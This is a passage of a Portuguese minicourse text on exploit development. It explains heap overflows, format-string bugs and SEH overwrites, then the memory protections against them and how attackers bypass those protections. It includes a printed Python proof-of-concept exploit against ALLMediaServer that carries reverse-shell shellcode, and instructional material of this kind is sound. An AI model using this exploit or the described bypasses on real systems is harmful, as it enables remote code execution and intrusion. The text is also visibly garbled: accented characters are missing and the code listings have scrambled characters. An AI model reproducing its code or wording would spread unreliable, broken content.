Estouro do heap Heap, como mencionado anteriormente, uma regio de memria reservada pelo sistema operacional para o processo armazenar dados referentes a variveis alocadas dinamicamente, ou seja, durante a execuo [Coimbra, 2011]. Durante a execuo de um programa, a alocao dinmica ocorre por dois motivos. Primeiro, porque no possvel prever, durante a compilao, a quantidade de blocos de memria necessrios para armazenar dados cujo tamanho varivel. Segundo, porque com alocao dinmica de memria, as reas livres podem ser liberadas e reaproveitadas quando no estiverem mais sendo utilizadas. Um estouro de heap ocorre quando um programa possibilita a cpia de dados para uma rea de memria dinmica (heap) sem checar se todos os dados de origem iro caber no destino. Por conta disso, o estouro de uma varivel localizada no heap possibilita a alterao do contedo dos blocos de memria adjacentes. As tcnicas de explorao das falhas de estouros de heap podem ser divididas em dois grupos [Coimbra, 2011]. O primeiro grupo constitudo por ataques onde informaes sensveis da aplicao so alteradas, enquanto o segundo grupo compreende os ataques que permitem desviar o fluxo de execuo do processo. No primeiro caso, o atacante utiliza um estouro no heap para sobrescrever dados relativos a um arquivo ou a uma senha. Para que isso ocorra, o ponteiro que o atacante deseja sobrescrever deve estar localizado aps o buffer que ser sobrescrito, pois o heap escrito no sentido crescente da memria. No segundo caso de ataques de estouro de heap, ocorre a sobrescrita de um ponteiro para funo, ilustrada na Figura 1.5. Nessa situao, o atacante sobrescreve um ponteiro, fazendo-o apontar para outro endereo de memria, onde se localiza um shellcode. Aps essa sobreposio de endereos, se a aplicao chamar a funo atravs do ponteiro sobrescrito, o fluxo de execuo ser desviado para o shellcode, ao invs de saltar para o cdigo originalmente apontado.

Figura 1.5. Sobrescrita de ponteiro para funo no heap.

1.2.2.3. Falhas de formatao de strings Outra vulnerabilidade comumente explorada em softwares a falha de formatao de strings. Antes de falarmos sobre a vulnerabilidade, iremos explicar rapidamente o conceito de funes de formatao. Uma funo de formatao um tipo especial de funo que recebe um nmero varivel de argumentos. Cada um desses argumentos chamado de string de

formatao. Uma funo de formatao faz uma converso de dados, utilizada para representar tipos de dados primitivos em uma forma que possibilite a leitura do usurio [Teso, 2001]. Assim como nos estouros de memria, os exploits usados contra strings mal formatadas tambm dependem de erros dos programadores. Existem diversos parmetros de formatao. A Tabela 1.1 apresenta algumas possibilidades.
Tabela 1.1. Parmetros de formatao de Strings.

Parmetro %d %u %x %s %n

Tipo de Entrada Valor Valor Valor Ponteiro Ponteiro

Tipo de Sada Decimal Decimal no sinalizado Hexadecimal String Nmero de bytes escritos

Uma vulnerabilidade de formatao de string ocorre quando um usurio capaz de fornecer uma string de formatao para uma funo de formatao, conforme o exemplo ilustrado na Tabela 1.2.
Tabela 1.2. Exemplos de cdigos (vulnervel e correto) que utilizam formatao de strings.

Cdigo vulnervel int func (char *valor){ printf(valor); }

Cdigo correto int func (char *valor){ printf(%s,valor); }

Ambas as chamadas funcionam se o usurio informar entradas que no possuem parmetro de formatao. Caso um parmetro de formatao seja passado, como teste %x, a funo printf funcionar de forma adequada apenas no segundo caso. Como no primeiro caso o valor a ser exibido em hexadecimal no se encontra na chamada da funo, o parmetro %x passar a referir-se a um valor armazenado na estrutura da pilha, que originalmente no deveria ser exposto. Assim, utilizando a entrada teste%x, o atacante ter acesso s representaes hexadecimais da memria do programa vulnervel. Essa vulnerabilidade pode ser utilizada para examinar a pilha do processo. Outro parmetro utilizado em ataques contra funes de formatao de strings o %n. Atravs dele, o usurio copia para uma varivel do tipo inteira a quantidade de bytes que j foram manipulados pela funo de formatao de strings. Quando nenhuma varivel passada como parmetro, o valor correspondente quantidade de bytes manipulados escrito diretamente na pilha. Assim, o atacante pode forar a escrita de um valor qualquer na pilha (um novo endereo de retorno, por exemplo). Embora o parmetro %n possibilite a escrita de valores na memria, o controle sobre o valor escrito limitado, pois preciso garantir a exata quantidade de caracteres exibidos na sada para que um valor pr-determinado seja escrito pelo formatador. 1.2.2.4. Sobrescrita de Tratadores de Exceo Estruturados (SEH) A ltima vulnerabilidade tratada neste minicurso a de tratadores de exceo estruturados (SEH Structured Exception Handler). O SEH uma estrutura de tratamento de exceo utilizada pelo Windows. Os blocos de cdigos so encapsulados e cada bloco possui um ou mais tratadores associados a ele [Anwar, 2009]. Cada tratador

especifica um filtro para o tipo de exceo que ir controlar. A estrutura que organiza os tratadores de exceo guardada dentro da pilha em forma de uma lista ligada. Quando uma exceo disparada, um tratador adequado procurado. O primeiro que satisfaa as condies da exceo executado. Um mtodo ou funo pode ter vrias estruturas de tratamento de exceo. A Listagem 1.3 ilustra um exemplo de tratador de exceo em C++:
Listagem 1.3. Cdigo de tratador de exceo em linguagem C++.
1 2 3 try{ 44c5di#o 4 5 ! 66e-cept(e-press7o){ 44c5di#o do tratador de e-ce87o

O bloco try/except o responsvel por configurar uma estrutura de tratamento de exceo explcita. O trecho de cdigo inserido dentro do fragmento try (linha 2) responsvel pelo fluxo normal da aplicao, enquanto o trecho de cdigo disposto no fragmento except (linha 5) faz o tratamento caso alguma exceo seja disparada. A vulnerabilidade de sobrescrita de SEH surge quando ocorre um estouro de memria dentro de um bloco try/except. Explorando-se esse transbordamento, possvel sobrescrever a estrutura dos SEHs e obter controle sobre o ponteiro que aponta para a funo de tratamento a ser executada [Anwar, 2009]. Um SEH possui dois ponteiros: o apontador para o prximo registro SEH e o ponteiro para o tratador de exceo. Essa estrutura representada na Figura 1.6. O apontador para o prximo registro guarda o endereo do prximo tratador de exceo na pilha, enquanto o ponteiro para o tratador de exceo o endereo inicial das instrues a serem executadas caso o tratador satisfaa as restries da exceo que foi disparada. Cada tratador de exceo possui a chance de tratar a exceo disparada ou pass-la para o prximo tratador de exceo que se encontra na lista.

Figura 1.6. Exemplo de pilha com SEH. [Anwar, 2009]

A partir do Windows XP SP1, como uma medida de proteo, todos os registradores de uso geral so zerados, antes da chamada do SEH. Entretanto, controlar o fluxo de execuo do programa ainda possvel, pois foi constatado que, no momento em que o tratador de exceo chamado, o endereo do SEH fica armazenado duas palavras (8 bytes) abaixo do topo da pilha (ESP stack pointer).

Isso significa que uma sequncia de instrues que desempilhe (POP) 8 bytes (duas palavras) e depois retorne (RET) desviar o fluxo de execuo para a posio originalmente ocupada pelo ponteiro para o prximo SEH. Em funo dessa caracterstica, normalmente os atacantes sobrescrevem o endereo do tratador de exceo com o endereo de uma sequncia de instrues da forma POP POP RET. Isso garante que o fluxo de execuo ser desviado para os bytes que originalmente indicavam o prximo SEH, mas que tambm so sobrescritos e, portanto, dominados pelo atacante. Assim, um exploit que sobrescreve o SEH para subverter o fluxo de execuo normalmente segue os seguintes passos: a) Sobrescreve o ponteiro para o prximo tratador de exceo com alguma instruo de desvio (ex: JMP) que leve ao shellcode; b) Sobrescreve o ponteiro para o cdigo do tratador de exceo com um ponteiro para uma sequncia de instrues que traga de volta o fluxo de execuo para a rea sobrescrita pelo atacante na pilha (ex: POP POP RET); c) Gera uma exceo; Portanto, o atacante precisa ainda forar a ocorrncia de uma exceo, o que causar a execuo do tratador de exceo cujo ponteiro foi sobrescrito. Uma estratgia normalmente utilizada para forar o lanamento de uma exceo sobrescrever uma quantidade de dados na pilha suficiente para transbordar alm dos limites estabelecidos para o segmento de pilha do processo. Quando isso acontece, o sistema lana uma exceo para evitar que dados da pilha sejam gravados em outro segmento. Um exemplo de exploit que utiliza a tcnica de sobrescrita de SEH pode ser encontrado em 9. Nesse artefato, explorada uma vulnerabilidade no ALLMediaServer. A vulnerabilidade foi divulgada em 04 de julho de 2012, juntamente com a PoC apresentada na Listagem 1.4.
Listagem 1.4. Cdigo de exploit que utiliza tcnica de sobrescrita de SEH para executar o shellcode.
1 2 3 4 5 ! $ % ' 1& 11 12 13 14 15 1! 1$ 1% 1' 2& 21 22 23 i"port sys, soc9et s ( soc9et1soc9et(soc9et1*06:;<=, soc9et1>?@A6>=B<*C) s1connect((sys1ar#v[1], %%%)) buffer ( )*) * 1&$2 buffer .( )D-ebD-&!D-'&D-'&) buffer .( )D-caD-24D-ecD-!5) +;><E + ><E ,"p short ! F?F F?F B<=;

+ "sfpay/oad 2indo2s4she//6reverse6tcp + you can rep/ace the she//code 2ith any she//code u 2ant buffer .( ()D-d'D-c%D-d'D-$4D-24D-f4D-b%D-a!D-aaD-b!D-adD-5bD-2bD-c'D-b1) )D-4fD-%3D-ebD-fcD-31D-43D-15D-&3D-43D-15D-44D-5fD-4aD-45D-&1) )D-a&D-b3D-'!D-$1D-2%D-5!D-a$D-a3D-4eD-12D-'aD-$3D-&4D-$!D-1$) )D-f%D-4%D-!3D-acD-%cD-44D-%4D-&5D-3aD-b3D-abD-'!D-%bD-$bD-!$) )D-54D-%aD-&$D-$aD-%'D-!cD-3'D-b5D-dcD-!dD-$eD-a%D-2fD-3fD-d$) )D-a!D-%2D-afD-5cD-faD-1eD-ceD-b2D-$&D-1eD-a%D-b$D-4$D-ebD-&2) )D-b'D-'$D-44D-1'D-f1D-&fD-eeD-45D-22D-31D-23D-'!D-1eD-$%D-4%) )D-!cD-d4D-$bD-'%D-bdD-15D-4aD-e4D-11D-2%D-!2D-e'D-!%D-!cD-45) )D-12D-1fD-%!D-b5D-afD-2$D-5dD-c$D-!bD-a2D-4&D-!fD-ffD-14D-a1) )D-'1D-2cD-c2D-22D-'dD-''D-%1D-!dD-%2D-1cD-4!D-&!D-beD-'5D-!') )D-c'D-3!D-edD-4dD-cdD-13D-b5D-ecD-54D-feD-1%D-11D-%!D-a!D-c5) )D-b$D-ccD-45D-11D-c1D-%eD-&1D-d!D-ffD-3&D-d2D-$&D-%%D-43D-e&)
9

http://www.exploit-db.com/exploits/19625

24 )D-dfD-22D-ccD-4%D-'$D-ecD-&bD-aeD-%2D-4%D-%3D-51D-2dD-a%D-%d) 25 )D-'5D-$'D-f%D-a5D-3cD-&2D-'3D-35D-c&D-d$D-33D-!!D-!eD-%%D-f3) 2! )D-d!D-ceD-$%D-'bD-3cD-c1D-a$D-bbD-3eD-&bD-deD-fcD-a'D-$4D-4') 2$ )D-&3D-3eD-1dD-%%D-&3D-2fD-%1D-&5D-e5D-25D-2'D-4&D-beD-d1D-d&) 2% )D-c'D-34D-43D-1cD-c4D-dcD-e&D-%fD-%3D-1cD-!eD-acD-1bD-4bD-2$) 2' )D-&2D-52D-1'D-d5D-3dD-ccD-3fD-24D-dbD-3$D-fbD-f3D-1%D-b'D-&2) 3& )D-$1D-24D-'dD-14D-4fD-a5D-''D-4&D-1fD-f&D-$$D-3eD-d'D-aaD-3') 31 )D-e%D-b3D-&1D-'&D-$cD-45D-!aD-23D-faD-4aD-a$D-d5D-e2D-fbD-1e) 32 )D-a&D-1dD-33D-f$D-24D-!!D-2'D-!$D-caD-bdD-e'D-'$D-%1D-'fD-5%) 33 )D-3&D-4cD-4aD-d'D-5dD-!fD-a1D-1eD-5%D-ecD-43D-dfD-'fD-ecD-2!) 34 )D-daD-e4D-aaD-dbD-'!D-$5D-5fD-dbD-&5D-$5D-4a)) 35 3! s1send(buffer) 3$ s1c/ose()

Esse exploit foi desenvolvido na linguagem Python. Na primeira linha, as bibliotecas sys e socket so importadas. Aps isso, um soquete denominado s criado e uma conexo iniciada com o servidor alvo na porta 888. Na linha 4, a varivel buffer preenchida com 1072 bytes que representam o caractere A. Assim como no tradicional estouro de pilha, essa sequncia de bytes usada apenas para transbordar o buffer at a posio desejada. No caso de uma explorao do SEH, a pilha sobrescrita at a exata posio onde est posicionado o ponteiro para o prximo SEH. Nesse ponto, o exploit posiciona uma instruo de JMP 0x06, usada para saltar seis bytes e aterrizar em cima do shellcode (linha 6). Em seguida (inha 7), anotado o endereo de uma sequncia de instrues da forma POP POP RET. Esse endereo ir sobrescrever a posio exata onde se localiza o endereo original do tratador de exceo. Da linha 12 at a linha 34, o shellcode concatenado ao contedo da varivel buffer. Posteriormente, na linha 36, o payload construdo na varivel buffer enviado para a aplicao vulnervel e, na linha 37, a conexo encerrada. Com a aplicao ALLMediaServer em execuo, ao rodar o script que implementa o exploit, o usurio envia o payload malicioso para o servidor, acarretando na explorao.

1.3. Protees
Assim como as estratgias para explorar vulnerabilidades de buffer overflow evoluram ao longo do tempo, surgiram e foram aprimorados mecanismos de proteo, que tm a incumbncia de bloquear ou pelo menos dificultar a consolidao desses ataques. Essas estratgias de defesa focam diferentes etapas do processo de funcionamento de um sistema computacional, variando desde solues que tratam da fase de compilao de um cdigo-fonte at abordagens que propem novos mecanismos de hardware. Nesta seo, sero abordados os dispositivos de proteo de memria adotados pelos sistemas operacionais modernos que tm impacto direto na escolha das tcnicas para desenvolvimento de exploits. Alm disso, sero discutidos os diversos filtros de dados existentes contra entradas maliciosas, bem como as principais estratgias utilizadas pelos desenvolvedores de exploits para burlar esses mecanismos. 1.3.1. Protees de memria Entre as classes de mitigaes propostas contra ataques de explorao de softwares, os mecanismos de proteo da memria, implementados pelos sistemas operacionais na

tentativa de impor barreiras contra a execuo de cdigos maliciosos, podem ser considerados os dispositivos que mais evoluram ao longo do tempo. Alm disso, a maior parte das tcnicas modernas de desenvolvimento de exploits surgiram da necessidade de adaptar os ataques para funcionamento em ambientes com protees de memria. Apesar dessa evoluo nas estratgias de explorao, quando empregadas em conjunto, as protees de memria descritas a seguir impem um elevado nvel de dificuldade criao de exploits eficazes [Harper et al., 2011]. 1.3.1.1. Pilha no-executvel (nx-stack) Como os ataques de estouro de pilha foram os primeiros a se popularizar, surgiu inicialmente a necessidade de se proteger a pilha contra a execuo de cdigos, principalmente porque a estratgia mais bvia de explorao desse tipo de vulnerabilidade a insero do cdigo malicioso na prpria pilha, junto com o cdigo que gera o estouro do buffer. Em decorrncia da constatao dessa possibilidade, surgiram em 1996 dispositivos para impedir a execuo de instrues oriundas da rea de pilha (non-executable stack ou nx-stack). Atualmente esse tipo de proteo est presente por padro na maioria dos sistemas operacionais, incluindo Linux, OpenBSD, Mac OS X, Solaris e Windows, entre outros [Anley et al., 2007]. 1.3.1.2. Cookies Dada a importncia e frequncia dos ataques pilha, foram desenvolvidos outros procedimentos de segurana para proteg-la. Entre eles, mecanismos que inserem marcas aleatrias denominadas cookies ou canrios10 entre buffers e informaes sensveis, tais como endereos de retorno e o apontador de frame. A origem do nome canrio remonta prtica histrica adotada por trabalhadores de minas de carvo. Nesses ambientes, mineradores costumam levar consigo um pssaro da espcie canrio, para que ele sirva de indicador biolgico dos nveis txicos de gazes no interior das minas. Por ser mais frgil, o animal morre intoxicado antes que os mineradores percebam o perigo decorrente da elevao dos nveis de monxido de carbono. Assim, a morte do pssaro indica aos mineradores o momento de abandonar o local. No contexto de transbordamentos da pilha, o canrio funciona como um alerta contra a sobrescrita de metadados. Antes de retornar, a funo checa se o marcador permanece o mesmo. Assim, ao forar um overflow que sobrescreva dados de controle, o atacante acaba alterando tambm o valor do canrio. Dessa forma, a aplicao detecta o ataque e impede a execuo do cdigo malicioso. Por outro lado, se o atacante conseguir explorar algum dado corrompido antes da funo iniciar seu eplogo 11, o canrio no ser checado e o ataque no ser descoberto. Os procedimentos de insero dos cookies variam. Algumas propostas, como Stackguard, inserem os canrios em tempo de compilao, enquanto outras, como libverify, armazenam os marcadores durante a execuo, atravs de funes empacotadoras (wrappers) [Werthmann, 2006]. A vantagem da soluo baseada em
%0 %%

Neste texto, os termos cookie, canrio e marcador so usados de maneira intercambivel. Eplogo o termo normalmente utilizado para designar as ltimas instrues assembly executadas por uma funo. Quando a proteo do cookie est habilitada, as instrues que checam a integridade do canrio so inseridas nessa regio final do cdigo da funo.

compiladores a reduo do overhead computacional a que o programa estar sujeito. Por outro lado, a insero dos canrios durante a execuo garante o funcionamento de sistemas legados ou cujo cdigo-fonte no esteja disponvel. Mesmo no caso de aplicaes cujo cdigo-fonte esteja disponvel, a insero dos cookies durante a execuo descarta a necessidade de recompil-los. O GCC (GNU Compiler Collection), desde a verso 4.1, implementa uma verso aprimorada do StackGuard denominada ProPolice (tambm chamada de Stack Smashing Protector SSP) [Cugliari and Graziano, 2010]. Em algumas distribuies Linux, a opo -fstack-protector desse compilador, que habilita o uso de canrios quando h variveis locais do tipo string, estabelecida como padro. Desde 2002, o compilador Visual Studio, da Microsoft, implementa um mecanismo equivalente, denominado /GS. A partir de 2005, essa proteo tornou-se padro nesse compilador. Em ambos os compiladores, alm de inserir um canrio para proteger o endereo de retorno e o apontador de frame, as variveis locais so reordenadas e os parmetros so copiados para junto dessas variveis, a fim de impedir que estouros de buffer sobrescrevam ponteiros. A Figura 1.7 ilustra a disposio da pilha de uma funo vulnervel sem e com a proteo. Como os canrios so gerados aleatoriamente com uma razovel entropia, bastante improvvel que um atacante consiga prever o marcador que ser utilizado. Por outro lado, por questes de arquitetura e desempenho, os canrios no so inseridos junto a todos os buffers existentes na pilha, o que abre brechas para a superao dessa proteo em algumas situaes especficas. Os tratadores estruturados de exceo (SEH), por exemplo, no so protegidos pelo /GS, podendo ser sobrescritos pelo atacante. Se um atacante for capaz de sobrescrever um ponteiro para tratamento de excees, conforme explicado na seo 1.2.2.4, e conseguir forar o lanamento de uma exceo antes que o eplogo da funo seja executado, a comparao do canrio sequer ser efetuada e o fluxo de execuo ser desviado para o cdigo malicioso, apontado pelo ponteiro corrompido.

Figura 1.7. Estrutura da pilha sem proteo e com proteo (canrio, reordenao de variveis e cpia de parmetros) [Sotirov e Dowd, 2008].

1.3.1.3. SafeSEH e SEHOP A fim de coibir os ataques que exploram os SEHs, a Microsoft lanou um dispositivo denominado SafeSEH (Safe Structured Exception Handler), que agregou novos mecanismos de proteo da pilha, com o intuito de resguardar os registros para tratamento de exceo utilizados pelos seus sistemas operacionais [Microsoft, 2012d]. O

flag de ligao /SafeSEH est disponvel no compilador Visual Studio desde a verso .Net 2003. A proteo viabilizada por uma lista dos tratadores de exceo vlidos, inserida pelo ligador (linker) no cabealho do processo, durante a etapa de amarrao das referncias entre objetos executveis. Ao ocorrer uma exceo, o sistema checa se o tratador indicado corresponde a alguma entrada na lista de tratadores autnticos, antes de execut-lo. Antes disso, verificado se o ponteiro para o tratador de exceo no referencia um endereo da pilha, situao que configura um ataque de estouro da pilha [Sotirov e Dowd, 2008]. A sequncia de verificaes comea com a lista de mdulos carregados. O despachador de excees checa se o endereo do tratador pertence faixa de endereos de algum desses mdulos. Caso o tratador aponte para algum mdulo carregado, a comparao do ponteiro com a lista dos tratadores de exceo vlidos realizada. No entanto, caso o endereo do tratador no pertena a nenhum dos mdulos carregados pelo processo, ele considerado seguro. Essa deciso de implementao explorada por atacantes para superar a proteo imposta pelo SafeSEH. Escolhe-se um endereo que no pertena aos mdulos carregados pelo processo (por exemplo, algum processo do sistema operacional) e que execute uma sequncia de instrues com efeito equivalente sequncia POP-POP-RET, explicada na seo 1.2.2.4 [Eeckhoutte, 2009]. Outra tcnica utilizada por atacantes para superar o SafeSEH consiste, na verdade, em uma estratgia que evita a proteo. Procura-se alguma biblioteca carregada pelo processo e que no tenha sido compilada com a opo /SafeSEH. Assim, ao fazer um ponteiro para tratamento de exceo referenciar uma sequncia de instrues da forma POP-POP-RET existente em uma biblioteca desprotegida, o atacante consegue desviar o fluxo de execuo para o cdigo malicioso inserido na pilha. Naturalmente, essa estratgia no funciona caso todas as bibliotecas carregadas utilizem o SafeSEH. Em 2009, foi lanada uma extenso para a segurana dos SEHs denominada Structured Exception Handler Overwrite Protection (SEHOP), que opera atravs de checagens efetuadas unicamente durante a execuo de um processo [Microsoft, 2010a]. Assim, esse mecanismo independe das escolhas durante a etapa de compilao dos softwares. O SEHOP est disponvel em todas as verses do Windows a partir do Vista SP1, mas somente est habilitado por padro nas verses do Windows Server 2008. O SEHOP acrescenta um registro simblico na ltima posio da lista encadeada de tratadores de exceo. Isso permite que o despachador de excees do sistema operacional cheque se o ltimo elemento da lista aponta para um elemento piv, previamente estabelecido, evitando corrupes da lista encadeada [Miller, 2009]. Conforme descrito na seo 1.2.2.4, o ponteiro para o prximo registro da lista encadeada de tratadores de exceo posicionado entre as variveis locais e o apontador para a funo de tratamento. Assim, para sobrescrever o endereo da funo de tratamento com dados oriundos de um estouro de buffer na pilha, o atacante corrompe tambm o ponteiro para o registro subsequente na lista encadeada. Como consequncia, o despachador de excees no atinge o registro simblico e, por isso, detecta o ataque. Le Berre e Cauquil demonstraram que, respeitadas algumas condies, possvel

enganar a proteo imposta pelo SEHOP criando um registro falso que aponte para o ltimo elemento da lista encadeada de tratadores de exceo [Berre e Cauquil, 2009]. 1.3.1.4. Preveno de Execuo de Dados (DEP) Uma extenso natural do mecanismo de proibio da execuo de instrues armazenadas na pilha (nx-stack), concebida para bloquear esse tipo de tentativa em outras reas da memria como o heap e o BSS , recebeu as designaes NX ( No eXecute, na AMD) e XD (eXecute Disable, na Intel). Essa estratgia de proteo, batizada no Windows como DEP (Data Execution Prevention), baseia-se na utilizao de um recurso incorporado aos processadores, em 2004, para marcar as pginas de memria com um bit de execuo [Sotirov e Dowd, 2008]. Assim, o sistema operacional pode garantir que reas de memria destinadas a armazenar dados como a pilha e o heap no sejam executveis. O NX/XD torna praticamente impossvel a injeo de cdigo externo em programas vulnerveis. Entretanto, tcnicas de reutilizao de cdigo, como ROP, explicada na seo 1.4.2, podem obter xito contra um sistema protegido apenas pelo bit de execuo. Alm disso, nas arquiteturas de 32 bits de alguns sistemas operacionais, como em algumas verses do Windows, a proteo oferecida pelo DEP pode ser desativada durante a execuo do programa. Essa uma brecha comumente explorada por atacantes. Tambm so comuns ataques que usam funes do prprio sistema operacional para copiar o shellcode em uma rea executvel da memria ou para atribuir permisses de execuo regio onde o shellcode se localiza. O Windows implementa o DEP desde o lanamento do Service Pack 2 para o XP. Assim como com o SafeSEH, o funcionamento do DEP requer que as aplicaes sejam ligadas com uma opo especial: /NXCOMPACT. Essa opo encontra-se disponvel no compilador Visual Studio desde a verso 2005. A tecnologia NX/XD tambm est presente no Linux, desde o kernel 2.6.8 [Cugliari e Graziano, 2010]. 1.3.1.5. Espao aleatrio de endereos (ASLR) Outra estratgia interessante de proteo contra ataques de buffer overflow baseia-se na ideia de impossibilitar o atacante de descobrir o endereo para o qual o fluxo do programa deve ser transferido, atravs do embaralhamento dos endereos de memria atribudos aos segmentos do programa e s bibliotecas do sistema operacional. Essa estratgia recebeu o nome Address Space Layout Randomization (ASLR). Ela baseia-se no princpio de que se os endereos de memria forem atribudos aleatoriamente aos mdulos e aos seus segmentos, um atacante no saber para qual endereo de memria desviar. O ASLR adotado pelo Linux desde o kernel 2.6.12. Nesse sistema cada vez que um processo carregado seus segmentos, endereo base e bibliotecas recebem uma faixa de endereos diferente. No Windows, essa proteo foi implementada a partir do Vista e do Server 2008. No caso dos sistemas da Microsoft, o embaralhamento de endereos renovado a cada reinicializao do sistema operacional [Cugliari e Graziano, 2010].

A estratgia utilizada no ASLR funciona muito bem quando devidamente implementada e integrada s aplicaes. No entanto, ela pode oferecer brechas, porque alguns sistemas deixam reas de memria em posies fixas, para facilitar o processo de carregamento dos mdulos na memria e para possibilitar a execuo de otimizaes de cdigo por parte do compilador. Alm disso, um esquema de fora bruta pode ser utilizado para testar todos os possveis endereos onde o shellcode possa estar localizado, caso o processo no aborte sua execuo ao sofrer um overflow. Se o atacante conseguir recuperar algum endereo do processo durante o ataque, como o base pointer, ele ainda poder reduzir o nmero de possibilidades a serem testadas. Outra estratgia utilizada por atacantes para reduzir o nmero de testes durante o ataque de fora bruta inserir um bloco de instrues NOP antes do shellcode, ampliando a sua rea de cobertura e, consequentemente, a quantidade de endereos que levem execuo do shellcode. Existe ainda outra tcnica de superao do ASLR, denominada Heap Spraying, que tambm baseia-se na insero de blocos de instrues NOP junto com o shellcode. Essa abordagem explicada em detalhes na seo 1.4.3 deste texto. Em situaes especficas, os atacantes podem calcular o tamanho da entrada maliciosa de forma a sobrescrever apenas a frao menos significativa do endereo de retorno [Sotirov e Dowd, 2008]. Como o ASLR embaralha apenas os bytes mais significativos do endereo de cada mdulo (endereo base), se o payload malicioso terminar exatamente em cima desses bytes do endereo de retorno, pode ser possvel apontar para um shellcode. Isso vivel quando o endereo base do endereo de retorno original aponta para uma regio que contm alguma instruo capaz de desviar o fluxo para a rea onde o shellcode se localiza. No caso especfico do Windows, a aleatoriedade no endereo de carregamento dos mdulos uma opo dentro do processo de ligao (/DYNAMICBASE), que muitas vezes no ativada ou que impe a necessidade de recompilao de aplicaes previamente distribudas. Em funo disso, os atacantes tambm utilizam contra o ASLR a mesma ideia empregada para transpor a proteo oferecida pelo SafeSEH: encontrar um executvel ou biblioteca que no tenha sido compilado utilizando a opo /DYNAMICBASE e us-lo para transferir o fluxo de execuo para o shellcode. 1.3.2. Filtros de Dados Existem exploits que atuam em programas que no executam um procedimento de validao nos dados de entrada fornecidos pelos usurios [Chien e Szor, 2002]. Com a inteno de resolver esse problema, a entrada de dados de programas considerados vulnerveis passou a aplicar um conjunto de filtros que limitam o conjunto de smbolos aceitos como vlidos apenas queles que pertencem s faixas de A a Z (0x41 at 0x5A), de a a z, (0x61 at 0x7A) e de 0 a 9 (0x30 to 0x39) [Anley et al., 2007], na tentativa de impedir a entrada de smbolos especiais como o scape (0x1B) ou outros smbolos reservados. Entretanto, existem duas tcnicas utilizadas pelos desenvolvedores de exploits para superar esta limitao: bridge building e encoders [Anley et al., 2007]. O objetivo do bridge building, ocultar o verdadeiro cdigo do exploit atravs de um conjunto de opcodes constitudos apenas de bytes alfanumricos que, ao serem

executados, iro gerar a instruo desejada, construindo uma ponte entre a codificao aceita e a instruo desejada. A Tabela 1.3 oferece um exemplo do uso de instrues construdas com smbolos vlidos responsveis por gerar a instruo CALL EAX (0xFF 0xD0).
Tabela 1.3. Exemplo de bridge building [Anley et al., 2007].

Cdigo Assembly push 30h pop eax xor al,30h dec eax xor eax,7A393939h xor eax,55395656h push eax

Opcode 0x6A 0x30 0x58 0x34 0x30 0x48 0x35 0x3939397A 0x35 0x56563955 0x50

Resultado Armazena 0x00000030 na pilha Transfere este valor para o registrador EAX XOR al com 0x30. Isto gera 0x00000000 em EAX. Subtrai 1 de EAX, gerando 0xFFFFFFFF Este XOR armazena 0x85C6C6C6 em EAX. e este outro gera 0xD0FF9090 em EAX. Armazena este valor na pilha.

O maior problema apresentado pela tcnica de ponte a quantidade excessiva de instrues necessrias para gerar o cdigo desejado. Assim, partindo diretamente do cdigo original do shellcode, pode ser aplicada uma tcnica baseada no uso de encoders [Eeckhoutte, 2010c], que convertem automaticamente todo o cdigo para um formato especfico, de acordo com as necessidades do desenvolvedor e o tipo de filtro que se pretende contornar. Dessa forma, possvel evitar os chamados bad characters [Bradshaw, 2011] [Eeckhoutte, 2010c], que podem inutilizar o cdigo do shellcode. Um bom exemplo o smbolo null (0x00), que pode ser interpretado como um indicador de fim de string, levando ao trmino da leitura dos dados inseridos pelo exploit. Esse processo de codificao pode ser executado manualmente [Anley et al., 2007] ou atravs do uso de ferramentas como o msfencode [Eeckhoutte, 2010c], contido no pacote Metasploit. Ao utilizar essa ferramenta, o cdigo gerado j contm o conjunto de instrues necessrias para o processo de decodificao, automatizando o processo. 1.3.3. Assinaturas Assinaturas so definidas como sendo uma sequncia de bytes extrada do corpo de um cdigo binrio especfico [Karin, 2006]. Uma assinatura gerada tomando-se uma parte do cdigo que seja nica para aquele elemento de software e que tenha pouca probabilidade de ocorrer em outros programas. Normalmente, as assinaturas so armazenadas em tabelas hash, de forma a garantir que o acesso seja o mais gil possvel. Os programas de deteco de cdigos maliciosos, como antivrus e analisadores de contedo, trabalham principalmente com um mtodo de comparao que verifica se um determinado programa executvel combina com uma assinatura armazenada em sua base de dados [Moura e Rebiha, 2009], varrendo o corpo do cdigo suspeito na busca das sequncias de bytes armazenadas na base de assinaturas. Entretanto, alm do uso de encoders (discutidos na seo 1.3.2), capazes de gerar uma nova codificao com base num mesmo cdigo de um exploit, j muito comum que cdigos maliciosos apliquem tcnicas conhecidas como ofuscao de cdigo, capazes de gerar variaes no cdigo binrio de forma a inviabilizar a identificao por meio de assinaturas [Rad e Masrom, 2010]. Assim, para evitar a deteco, novas cpias daquele mesmo cdigo mantm a estrutura semntica original, mas incluem alteraes sintticas que os tornam incompatveis com a assinatura gerada

originalmente. Entre as tcnicas de ofuscao de cdigo, destacam-se: insero de lixo no cdigo, ou cdigo inerte; troca mtua de registradores e variveis entre operaes; e troca das instrues originais por outras com o mesmo efeito. Existem diversas abordagens diferentes para tratar esse problema [Karin, 2006] [Moura e Rebiha, 2009] [Rad e Masrom, 2010]. Cada uma procura eliminar o efeito das mudanas de cdigo de uma maneira diferente. No entanto, essas estratgias no sero abordadas aqui, pois fogem do escopo deste minicurso.

1.4. Tcnicas modernas de explorao

medida que os mecanismos de proteo contra exploraes de softwares evoluram, surgiram novas tcnicas de desenvolvimento de artefatos maliciosos. Essas abordagens foram criadas justamente com o intuito de suplantar defesas e permitir a execuo de cdigos de ataque. Esta seo apresenta as principais tcnicas atualmente empregadas no desenvolvimento de exploits destinados a comprometer a segurana de sistemas computacionais modernos. 1.4.1. Egg Hunting O nome Egg Hunting uma aluso brincadeira de mesmo nome, comum no perodo da pscoa, na qual ovos de chocolate so escondidos para que crianas os encontrem. No contexto de exploraes de softwares, esse nome utilizado para designar uma tcnica utilizada para desenvolver exploits capazes de executar shellcodes em sistemas com restries de espao na memria. Quando a rea disponvel em memria para armazenar um shellcode muito pequena, atacantes ficam impedidos de introduzir qualquer cdigo malicioso efetivo. Em outros casos, apesar de a rea disponvel ser suficiente para um shellcode, restries quanto ao uso de determinados caracteres podem lev-lo a crescer muito de tamanho aps o processo de codificao. Nesse cenrio, o mtodo denominado Egg Hunting surgiu como uma importante tcnica de desenvolvimento de exploits para execuo de shellcodes em dois estgios, superando o desafio imposto pela limitao de espao. A ideia central consiste em dividir o payload em duas ou mais pores, de modo que a frao inicial do cdigo fica responsvel unicamente por encontrar o shellcode e desviar o fluxo de execuo para ele. Como essa uma tarefa bem mais simples do que as funes desempenhadas por um shellcode 